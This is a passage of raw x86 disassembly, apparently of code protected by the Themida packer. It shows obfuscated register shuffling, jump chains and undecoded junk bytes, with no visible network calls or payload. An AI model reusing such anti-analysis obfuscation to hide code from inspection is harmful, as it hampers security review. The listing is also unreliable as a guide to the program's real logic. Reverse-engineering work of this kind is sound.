		add	edx, 4
		jmp	loc_649B68
; ---------------------------------------------------------------------------
		db 5Fh
		dd 449E9h, 11B85000h, 0E9362E6Eh, 0FFFF7FAFh, 15BDF89h
		dd 5F04247Ch, 8324048Fh, 148904ECh, 4BA24h, 44810000h
		dd 5A180424h, 54012497h, 0E9510424h, 0FFFFC122h, 452AC9B8h
		dd 35D0F714h, 77774345h, 291DBC0Dh, 56D8F763h, 126005BEh
		dd 3C8E900h, 0BD55FFFFh, 55DC6B8Ah, 89E9E901h
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_645457:				; CODE XREF: Themida_:00649788j
		shl	eax, 8
		jmp	loc_6437F4
; ---------------------------------------------------------------------------


loc_64545F:				; CODE XREF: Themida_:0064775Cj
		dec	edx
		jmp	loc_63A143
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 9BE565Ah, 873EE412h, 87D5F7EEh, 2BA2E9EEh
		dd 0EA81FFFFh, 33DC0447h, 0F75E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64548A:				; CODE XREF: Themida_:00648686j
		add	eax, ebp
		jmp	loc_639D6F
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0E904EC83h, 0A45h, 4501ED83h, 1CDAED81h, 0DDF7685Eh
		dd 3AC7E9h, 0C0C9FE00h,	0D9F603E1h, 80F1F180h, 0F9E944C1h
		dd 58FFFF2Dh, 0FF3FFEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6454C5:				; CODE XREF: Themida_:0063FCD9j
		xor	edi, 38007627h
		dec	edi
		sub	edi, 3C092EECh
		or	eax, edi
		pop	edi
		xor	eax, 22755510h
		inc	eax
		push	2F61h
		mov	[esp], edx
		jmp	loc_649B29
; ---------------------------------------------------------------------------
		dd 0F6BEF480h, 3160E9D4h, 0E95E0000h, 20D4h, 0DF90C181h
		dd 0CA893DAAh, 0FFF679E9h, 0E9CB01FFh, 470Dh, 2434FF5Eh
		dd 0E289525Ah, 4C281h, 0C2810000h, 4, 5C241487h, 0F74BDE87h
		dd 0C1DE87D3h, 0C68108E6h, 5E3DE204h, 685EF101h, 2F73h
		dd 0BB241C89h, 2, 1C8BD901h, 0E6895624h, 4C681h, 0CDE90000h
		dd 0FFFFFF0Bh, 48B2434h, 4C48324h, 4EC8153h, 89000000h
		dd 0F7E92424h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64556F:				; CODE XREF: Themida_:0063E90Fj
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		push	70A2h
		mov	[esp], edx
		mov	edx, 4
		sub	esi, 3DC5F42h
		add	esi, edx
		add	esi, 3DC5F42h
		mov	edx, [esp]
		push	5B36h
		jmp	loc_640576
; ---------------------------------------------------------------------------


loc_64559D:				; CODE XREF: Themida_:00640C46j
		push	ecx
		mov	ecx, 1AC06865h
		add	esi, ecx
		pop	ecx
		sub	esi, 7B773518h
		jmp	loc_649E22
; ---------------------------------------------------------------------------


loc_6455B1:				; CODE XREF: Themida_:00649244j
		mov	edi, 87449C4Fh
		xor	esi, edi
		pop	edi
		sub	ebp, esi
		pop	esi
		add	ebp, eax
		add	ebp, 60887591h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	eax
		jmp	loc_636914
; ---------------------------------------------------------------------------
		dw 0F180h
		dd 7AC18093h, 2EE95266h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6455E7:				; CODE XREF: Themida_:006387E9j
		mov	edi, 2001Ah
		xor	ebx, edi
		push	dword ptr [esp]
		jmp	loc_647A2D
; ---------------------------------------------------------------------------


loc_6455F6:				; CODE XREF: Themida_:00646AA4j
		mov	eax, 47A27891h
		add	ecx, eax
		pop	eax
		push	edi
		mov	edi, 3B0A5D68h
		sub	ecx, edi
		pop	edi
		jmp	loc_6399D2
; ---------------------------------------------------------------------------
		dd 0FBD1FFBDh, 80EA8103h, 177A120h, 80C281EAh, 8B77A120h
		dd 0C483242Ch, 5AD03104h, 0E9E68956h, 3D46h, 24048B66h
		dd 68868h, 241C8900h, 0CE368h, 48F5400h, 4EC8324h, 0BD242C89h
		dd 4, 0FF5BC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_645655:				; CODE XREF: Themida_:0063F295j
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ecx
		jmp	loc_642C88
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 142FE9h, 0DBBA5200h
		dd 315CCB73h, 6F6DE9D6h, 0EE81FFFFh, 420D4E3Fh,	3A5CC681h
		dd 0EE815AC3h, 3F427ED6h, 0A76F681h, 0F02974D9h, 52D8295Eh
		dd 4A67F6BAh, 0E9575172h, 4694h, 240C8B54h, 0FF140DE9h
		dd 5AF728FFh, 0E780D7F6h, 0BEC780BEh, 4CB35366h, 5B66D800h
		dd 852C062Ch, 8504F828h, 4C2C0604h, 53F0005Bh, 88C8B450h
		dd 0DCE958E7h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6456FB:				; CODE XREF: Themida_:00641F5Ej
		xor	esi, 0DC1E63A7h
		add	ebx, esi
		pop	esi
		jmp	loc_647579
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 79h
		dd 0E928314Ch, 0FFFF9AE2h, 8105EFC1h, 0F176ABCFh, 2CEF8125h
		dd 81A9FF05h, 0F83E4DE9h, 6E55E912h, 0F181FFFFh, 57757EE3h
		dd 8B59CA01h, 6CE9243Ch, 89FFFF13h, 0A682424h, 89000004h
		dd 4BF243Ch, 81000000h,	7C04246Ch, 1268042h, 8104247Ch
		dd 7C042444h, 8B268042h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		push	eax
		mov	eax, 4
		mov	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_64445C
; ---------------------------------------------------------------------------
		db 0BBh, 2Fh, 18h
		dd 0CB815533h, 7DF40ED1h, 0EBE9524Bh
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_645793:				; CODE XREF: Themida_:00646223j
		push	2F02h
		mov	[esp], esi
		mov	esi, 4EE43718h
		jmp	loc_63A9A3
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 55h
		dd 0BD000013h, 4A3466E2h, 0FFAF84E9h, 0F0015BFFh, 0BF6C3D05h
		dd 0DBBD5526h, 0E971CA58h, 0FFFF226Fh, 685AC604h, 46D8h
		dd 51241489h, 0FF0EEAE9h, 5E089FFh, 4, 8704C083h, 0E95C2404h
		dd 0FFFF9C12h, 6ED4E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6457F2:				; CODE XREF: Themida_:00648CC5j
		push	esp
		push	dword ptr [esp]
		jmp	loc_637A68
; ---------------------------------------------------------------------------
		db 89h
		dd 4BE2434h, 89000000h,	615FE9F3h, 99BDFFFFh, 0B93F0262h
		dd 63CF20D2h, 0E95DE931h, 0FFFF7D4Ah, 0EBBC181h, 59BB3D2Dh
		dd 0E992F298h, 0FFFFFCD9h, 0E9240C8Bh, 9F4h
; ---------------------------------------------------------------------------


loc_645834:				; CODE XREF: Themida_:00645F1Bj
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_63B00F
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 0FFD0B2E9h, 2434FFFFh
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 32F93138h
		shr	edi, 4
		xor	edi, 40F06B9Dh
		dec	edi
		inc	edi
		shr	edi, 1
		sub	edi, 21EFFC43h
		add	ebp, edi
		jmp	loc_637F84
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 55082E9Fh, 0B951DEF7h, 286018C9h, 4C5DF181h,	0D1F7069Eh
		dd 52D1F749h, 0FF5FDAE9h, 0ED815EFFh, 4, 0A4FEE955h, 0C381FFFFh
		dd 2D41236Eh, 7718F381h, 1E9FC21h, 81FFFF5Dh, 164817F7h
		dd 4EC814Eh, 89000000h,	33B9240Ch, 0E959BD3Ch, 32A6h
; ---------------------------------------------------------------------------


loc_6458CC:				; CODE XREF: Themida_:006441A0j
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0B0h
		sub	al, cl
		pop	ecx
		push	edx
		mov	dl, 4Dh
		jmp	loc_6399BF
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9CE88C1h, 0FFFFE90Bh
; ---------------------------------------------------------------------------


loc_6458E8:				; CODE XREF: Themida_:0063E7CCj
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	1B96h
		mov	[esp], edi
		mov	edi, 241137D1h
		add	edi, 61C05867h
		jmp	loc_648B7D
; ---------------------------------------------------------------------------


loc_64590C:				; CODE XREF: Themida_:00646376j
		neg	eax
		xor	eax, 757828A6h
		jmp	loc_6394FE
; ---------------------------------------------------------------------------
		dd 123254B8h, 58C63122h, 23A6F681h, 0C0E9623Fh,	8BFFFF8Dh
		dd 0C483241Ch, 87EB8104h, 0FF1EA951h, 26E92434h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64593F:				; CODE XREF: Themida_:00649BA3j
		shl	dh, 6
		jmp	loc_63D298
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 348904ECh, 48D2E924h, 0B168FFFFh,	5D076800h
		dd 0B5F581h, 0EF890768h, 0E9FE015Dh, 0FFFF925Fh, 0C26866ACh
		dd 1C89665Ch, 0E927B324h, 0FFFFA0C4h, 31241433h, 14332414h
		dd 24248B24h, 96240481h, 0E92DB31Fh, 290Ch, 570BF57h, 53E93537h
		dd 29FFFF53h, 0E8E95FFEh, 89FFFF7Ch, 4C381E3h, 83000000h
		dd 6DE904EBh, 81FFFF5Eh, 4C1h, 9FAE900h, 248BFFFFh, 48B6624h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	eax
		push	esi
		push	21E618EDh
		pop	esi
		push	ebx
		mov	ebx, 1C716E61h
		add	ebx, 6F0C216Bh
		xor	ebx, 0F69464Dh
		or	ebx, 695A2FCDh
		push	ebx
		jmp	loc_649943
; ---------------------------------------------------------------------------


loc_645A07:				; CODE XREF: Themida_:00642B10j
		pop	esi
		and	ecx, 737A0041h
		jmp	loc_64A12A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0BE560000h, 4, 535EF301h, 0FFF244E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_645A29:				; CODE XREF: Themida_:0063808Cj
		push	edx
		mov	edx, 126C3E93h
		shl	edx, 5
		jmp	loc_63D831
; ---------------------------------------------------------------------------
		db 5Fh
		dd 1C681h, 1EE90000h, 5D000012h, 81241C8Bh, 4C4h, 0FB53E900h
		dd 0C481FFFEh, 2, 0FF6AA7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_645A5D:				; CODE XREF: Themida_:0064A184j
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	eax, 0Ah
		jmp	loc_63998C
; ---------------------------------------------------------------------------


loc_645A74:				; CODE XREF: Themida_:0063CAC4j
		mov	esp, [esp]
		pop	dword ptr [edi+20h]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_63A711
; ---------------------------------------------------------------------------
		dw 5259h
		dd 0EAC0E9B2h, 42C28002h, 3B82E9h, 6E3C000h, 0CB80DBF6h
		dd 1C380B1h, 5BD900h, 770459C8h, 35A1685Bh, 88E90000h
		dd 0BEFFFF1Eh, 1, 495EF101h, 6396E981h,	8FE97182h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_645AD3:				; CODE XREF: Themida_:006368ADj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_6355A5
; ---------------------------------------------------------------------------


loc_645AF0:				; CODE XREF: Themida_:0063D92Bj
		pop	ebx
		jmp	loc_645BA6
; ---------------------------------------------------------------------------
		dw 0F289h
		dd 5AD6015Eh, 4EE81h, 34870000h, 34895C24h, 56C68924h
		dd 58242C81h, 5F773B7Ch, 7C58C781h, 575E773Bh, 2434FF58h
		dd 28F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_645B25:				; CODE XREF: Themida_:00647D23j
		push	edx
		mov	edx, 6F8F5D69h
		mov	edi, 6F8F5D6Dh
		xor	edi, edx
		jmp	loc_644346
; ---------------------------------------------------------------------------
		db 5Ch
		dd 54240489h, 0FFA5C8E9h, 80D9B6FFh, 0E68082C6h, 0CCCE80BBh
		dd 0C680D6F6h, 96F680E4h, 148BF388h, 4C48124h, 80000000h
		dd 0DA2825EBh, 84C3805Bh, 0B652D300h, 2EEC068h,	0FF6DAAE9h
		dd 772C58FFh, 0BBB35351h, 0E5E9C6B1h, 8BFFFF3Ah, 0CD32424h
		dd 16E99C24h, 81FFFEFAh, 4C4h, 4C48300h, 81E28952h, 4C2h
		dd 50CAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_645BA6:				; CODE XREF: Themida_:00645AF1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	eax, esi
		mov	esi, [esp]
		push	ecx
		push	esp
		jmp	loc_63A075
; ---------------------------------------------------------------------------
		dd 0FF3877FFh, 56E92434h, 81FFFF8Eh, 4C4h, 241C8700h, 6624248Bh
		dd 66241489h, 0F3E99C50h, 87000043h, 0BAE92404h, 6600004Dh
		dd 8324048Bh, 1C8904ECh, 575B5424h, 340848BFh, 94C78144h
		dd 0E9429D37h, 0FFFFCD68h, 0F32911BDh, 5DE82937h, 5D2434FFh
		dd 541A6856h, 24890000h, 24048124h, 4, 4B9515Eh, 81000000h
		dd 7C1482EEh, 81CE017Dh, 7C1482C6h, 0BF57597Dh,	3BEB30BBh
		dd 0FF7AC7E9h, 0E83166FFh, 31665D66h, 0C0B70FC3h, 2E846852h
		dd 0E9540000h, 0FFFFE40Bh
; ---------------------------------------------------------------------------


loc_645C54:				; CODE XREF: Themida_:00639CA1j
		add	ebx, ebp
		add	ebx, 7B3143D7h
		pop	ebp
		push	ebp
		mov	ebp, 49C8411Bh
		xor	ebp, 49C8411Fh
		jmp	loc_63F4D1
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 766A33B1h, 75E98141h, 1775164h, 4E959CDh
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_645C83:				; CODE XREF: Themida_:00640862j
		xor	esi, 0F274AADh
		shr	esi, 5
		xor	esi, 575A619h
		add	eax, esi
		pop	esi
		jmp	loc_641028
; ---------------------------------------------------------------------------
		dw 6866h
		dd 89664529h, 0FEE9240Ch, 1FFFEF8h, 3C8758C7h, 0C02DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_645CB2:				; CODE XREF: Themida_:0064A40Dj
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	400h
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	1B62h
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		push	dword ptr [esp]
		jmp	loc_642B4D
; ---------------------------------------------------------------------------
		dd 24048B54h, 5704C483h, 7A75BB53h, 0ADE92D16h,	81FFFFB9h
		dd 2ECh, 14896600h, 4EC8124h, 0E9000000h, 0FFFFAB14h, 0FEF894E9h
		dd 0E9F801FFh, 0FFFFF6DBh, 9D2B3305h, 39802D52h, 0C8B2498h
		dd 4C48324h, 0FF5467E9h, 685052FFh, 177Eh, 0FFB884E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_645D39:				; CODE XREF: Themida_:0063E1B9j
		sub	esi, 0E61BCBCEh
		jmp	loc_641BC6
; ---------------------------------------------------------------------------
		dd 732DE829h, 0E91BDF4Ch, 0FFFF5DF1h, 148B665Bh, 2C48124h
		dd 81000000h, 4ECh, 241C8900h, 0C381E389h, 4, 2B951h, 0C3810000h
		dd 519136D8h, 1040C381h, 0EB812B4Ch, 1D3B1C10h,	0C381CB29h
		dd 1D3B1C10h, 0F96BE56h, 0DEF77AC3h, 0E904E6C1h, 0FFFF6F38h
		dd 0B735C781h, 0A5E961B6h, 0B9000019h, 311A5E5Dh, 68h
		dd 240C2900h, 1FF18159h, 81F16CC4h, 9C17E1E9h, 1B6687Ch
		dd 1C890000h, 782BBB24h, 0D9013DB2h, 5B2434FFh,	0E904C483h
		dd 0FFFF81BEh, 9D1C77FFh, 24041958h, 0F7BBE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_645DEA:				; CODE XREF: Themida_:006375F2j
		neg	ebp
		push	6C4Dh
		mov	[esp], edi
		mov	edi, 289F558Eh
		sub	ebp, edi
		jmp	loc_6498CC
; ---------------------------------------------------------------------------


loc_645E00:				; CODE XREF: Themida_:00638ED3j
		add	ecx, 0DCD53F08h
		sub	dword ptr [esp+4], 5F5E7F01h
		add	[esp+4], ecx
		add	dword ptr [esp+4], 5F5E7F01h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	ebp
		add	ebp, 4
		jmp	loc_63E222
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E904C483h, 0FFFF3171h, 0B5E9C831h, 89FFFFE1h, 86BF57E2h
		dd 81722723h, 0AC0DFEF7h, 35E78155h, 81518619h,	425266F7h
		dd 52F7814Ah, 14BC05Ah,	0BFFE9FAh, 0E95F0000h, 0FFFF6D1Dh
; ---------------------------------------------------------------------------


loc_645E6C:				; CODE XREF: Themida_:0064A169j
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 4
		sub	esp, 4
		jmp	loc_636A28
; ---------------------------------------------------------------------------


loc_645E83:				; CODE XREF: Themida_:00644CFBj
		pop	eax
		push	43C0h
		mov	[esp], edi
		push	ebp
		jmp	loc_63664D
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 0FFE437E9h, 2434FFFFh, 5A2434FFh, 460FE9h, 4DFC6800h
		dd 475F3668h, 28D5EF81h, 0C7814B64h, 7A370DA5h,	0FA55B951h
		dd 31E9DB64h
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_645EC3:				; CODE XREF: Themida_:0063BF52j
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	ebp
		jmp	loc_6367D9
; ---------------------------------------------------------------------------
		dd 0FEF6C4E9h, 243C89FFh, 0D1F7E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_645EEA:				; CODE XREF: Themida_:006393B3j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_645043
; ---------------------------------------------------------------------------
		dd 0E0C02634h, 3C32E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_645F02:				; CODE XREF: Themida_:00647626j
		add	esp, 4
		jmp	loc_63566E
; ---------------------------------------------------------------------------


loc_645F0A:				; CODE XREF: Themida_:006450D6j
		sub	esi, 64DA7CA0h
		add	esi, ebx
		add	esi, 64DA7CA0h
		mov	ebx, [esp]
		jmp	loc_645834
; ---------------------------------------------------------------------------
		dd 0EFC0C7FEh, 0FEF78004h, 595BFA00h, 8058B753h, 0EF8073EFh
		dd 31CF80FFh, 318BE9h
		db 0
; ---------------------------------------------------------------------------


loc_645F3D:				; CODE XREF: Themida_:00644B1Bj
		add	dl, 23h
		sub	dl, 0CAh
		jmp	loc_648881
; ---------------------------------------------------------------------------
		dd 0C828682Ch, 5B1368h,	241C8900h, 0E968B151h, 0FFFF32C2h
		dd 45BD830h, 3007340Ah,	0CB3058C3h, 8B2434FFh, 1CE9240Ch
		dd 0F7000035h, 5D8F7D0h, 0D3364B8h, 36F4BA52h, 0D501420Fh
		dd 81C5295Ah, 0F36F4EDh, 0EE815842h, 6ABD1F52h,	1659C681h
		dd 0EE017E15h, 1659EE81h, 0C6817E15h, 6ABD1F52h, 2434335Dh
		dd 33243431h, 0D25C2434h, 0E99C243Ch, 0FFFFDF26h
; ---------------------------------------------------------------------------


loc_645FBC:				; CODE XREF: Themida_:00643224j
		sub	dl, 0FFh
		xor	dl, 0A4h
		jmp	loc_637506
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 58E9DE29h, 0FFFFFF02h, 83592434h,	27BB04C4h, 0E9663F48h
		dd 0FFFF6D7Eh, 0E804D828h, 21E98904h, 89FFFFBDh, 242C8BEBh
		dd 504C483h, 2D147DFh, 0BB53D801h, 28731404h, 0FFE7E3E9h
		dd 0BFC581FFh, 812F2750h, 0C07C92C5h, 0E9F50105h, 0FFFFDE86h
; ---------------------------------------------------------------------------


loc_64601C:				; CODE XREF: Themida_:0063740Dj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 67FE5B51h
		add	esi, 0A845BE4Dh
		push	esi
		jmp	loc_637E2B
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 0FFFF91CFh, 0D51B2FB9h, 0C181415Ch, 0B1884C93h
		dd 0C981E9D1h, 36F84014h, 0F3F1E981h, 68E937FEh, 5DFFFF63h
		dd 4B850h, 0EA810000h, 25237522h, 706ABD55h, 0EA010E1Bh
		dd 0E9C2295Dh, 0FFFFF0A0h
; ---------------------------------------------------------------------------


loc_64607C:				; CODE XREF: Themida_:00638F8Fj
		add	eax, 4
		add	eax, 4
		jmp	loc_647B02
; ---------------------------------------------------------------------------
		db 81h
		dd 0E56B08F6h, 4375E952h, 0B60FFFFFh, 0B56866C0h, 4896629h
		dd 0F4FFE924h, 1C8BFFFEh, 4E38E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6460AE:				; CODE XREF: Themida_:00641FCDj
		mov	ecx, 4C634152h
		add	ecx, 7BA40010h
		shl	ecx, 5
		shl	ecx, 8
		push	edx
		mov	edx, 6F8816A7h
		jmp	loc_636690
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 580307A2h, 1C8BD989h, 0E9545624h, 0FFFFF416h, 0E0895050h
		dd 405h, 1F45E900h, 0C3810000h,	4, 4EB81h, 1C330000h, 241C3124h
		dd 5C241C33h, 81240C89h, 4ECh, 24248900h, 4240483h, 0A777E959h
		dd 0D589FFFFh, 8BEF015Ah, 0C483242Ch, 0DA4AE904h, 0D801FFFFh
		dd 0E9241C8Bh, 0FFFFAB9Fh, 2C481h, 5DE90000h, 29FFFFE1h
		dd 1BB9E9D1h, 88520000h, 5AF588DEh, 80E9EE88h, 5BFFFFD3h
		dd 42BB951h, 0DDE97F3Eh
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64615B:				; CODE XREF: Themida_:006449B2j
		mov	edx, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_636D89
; ---------------------------------------------------------------------------
		db 81h
		dd 7370FCC5h, 81C58104h, 81512E7Ch, 0DA486BEDh,	2434FF45h
		dd 1217E959h, 54560000h, 1E3BE9h, 4C68100h, 81000000h
		dd 2C6h, 24348700h, 0FF69CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6461A5:				; CODE XREF: Themida_:006473C9j
		pop	eax
		pop	edx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		xchg	eax, ecx
		jmp	loc_63A3FE
; ---------------------------------------------------------------------------
		db 0F6h
		dd 3E2C0DAh, 68FFEA80h,	48AAh, 57241C89h, 0A0E95F54h
		db 11h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6461CB:				; CODE XREF: Themida_:00640D9Ej
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 0C3365E32h
		push	ebx
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_63EA22
; ---------------------------------------------------------------------------
		dw 0FF52h
		dd 0E9042474h, 7FEh
; ---------------------------------------------------------------------------


loc_646208:				; CODE XREF: Themida_:0063C250j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 128C3E6Ah
		jmp	loc_645793
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFEF3F7h, 4C05D001h, 8B3BBB03h, 0C4832414h
		dd 0EB5EE904h, 0C483FFFFh, 79B95104h, 8114A109h, 0CF28E3E9h
		dd 91E98122h, 0E9735562h, 0FFFF64BDh, 6389C381h, 2BE94057h
		dd 0BEFFFF55h, 4C032994h, 4748E9h
		db 0
; ---------------------------------------------------------------------------


loc_646271:				; CODE XREF: Themida_:00639178j
		mov	eax, esp
		jmp	loc_639D3F
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFEE7Ah, 0E9240489h, 0FFFF7296h, 0ABF833B8h
		dd 58C1312Dh, 89585150h, 0E95958C5h, 0FFFF6503h
; ---------------------------------------------------------------------------


loc_64629C:				; CODE XREF: Themida_:00647FC7j
		push	eax
		mov	eax, 17D618C0h
		shl	eax, 2
		add	eax, 0A0A79D04h
		add	ebp, eax
		jmp	loc_63E816
; ---------------------------------------------------------------------------


loc_6462B1:				; CODE XREF: Themida_:0063A43Cj
		pop	ebp
		push	ecx
		mov	ecx, 8764D24h
		dec	ecx
		shr	ecx, 1
		sub	ecx, 7C0657F1h
		sub	ecx, 8834CE9Ch
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		xor	bl, al
		jmp	loc_647DBF
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 90h
		dd 0E99CB594h, 0FFFFD8F4h
; ---------------------------------------------------------------------------


loc_6462E8:				; CODE XREF: Themida_:006447B1j
		pop	esp
		push	2CC2h
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	esi
		jmp	loc_63B71C
; ---------------------------------------------------------------------------
		dw 5650h
		dd 727D6A68h, 81465E4Ch, 405927EEh, 8A2FE9FFh, 3C33FFFFh
		dd 243C3124h, 0FF41CEE9h, 59EB88FFh, 0DC885052h, 8858E288h
		dd 24148BD1h, 0FFC51FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_646331:				; CODE XREF: Themida_:00641EE6j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_638268
; ---------------------------------------------------------------------------


loc_64633F:				; CODE XREF: Themida_:00645060j
		add	edi, 4
		jmp	loc_64985E
; ---------------------------------------------------------------------------
		dw 0ACB6h
		dd 8003E6C0h, 0F328E2C6h, 0EFEE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64635A:				; CODE XREF: Themida_:0063CDFBj
		push	2324284Ch
		jmp	loc_643D35
; ---------------------------------------------------------------------------
		dd 869EE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64636A:				; CODE XREF: Themida_:0063B6BBj
		add	esp, 4
		push	eax
		mov	eax, 4F5C4570h
		jmp	loc_64590C
; ---------------------------------------------------------------------------
		db 83h
		dd 0C58104C4h, 4, 5C242C87h, 685DEB01h,	243Bh, 0FF107DE9h
		dd 0E9CA21FFh, 0FFFF3267h
; ---------------------------------------------------------------------------


loc_64639C:				; CODE XREF: Themida_:0063F537j
		add	esp, 4
		add	ebp, 7AA34C16h
		add	ebp, ebx
		jmp	loc_642499
; ---------------------------------------------------------------------------
		dd 0E902C483h, 0FFFEF1F1h, 4BEh, 24740100h, 34FF5E04h
		dd 24048B24h, 4C481h, 0C4830000h, 40504h, 62680000h, 89000058h
		dd 68512414h, 24E674BBh, 0FEFC5AE9h, 243489FFh,	9C19FFBEh
		dd 1EE8164h, 0E9000000h, 0FFFF2776h
; ---------------------------------------------------------------------------


loc_6463F8:				; CODE XREF: Themida_:0063DEA8j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	7638h
		jmp	loc_63D62F
; ---------------------------------------------------------------------------
		dd 341EA81h, 0D30125F4h, 0BD555D5Ah, 94E4DA6h, 0FEF29BE9h
		dd 3B1968FFh, 815B19D1h, 0D05306F3h, 0F3814335h, 5B5640CCh
		dd 0D718C381h, 702D88A8h, 1483058h, 587005D8h, 0E95B4830h
		dd 0FFFF363Bh, 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFEF149h
		dd 8324048Bh, 148704C4h, 48F5C24h, 24248B24h, 24048B66h
		dd 4D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_646475:				; CODE XREF: Themida_:0063D8E9j
		add	esp, 4
		and	eax, ebx
		pop	ebx
		jmp	loc_649CFA
; ---------------------------------------------------------------------------
		dd 54241C89h, 0FFEF0EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_646489:				; CODE XREF: Themida_:006389CFj
		sub	ecx, edx
		pop	edx
		add	esi, ecx
		mov	ecx, [esp]
		push	esi
		push	esp
		pop	esi
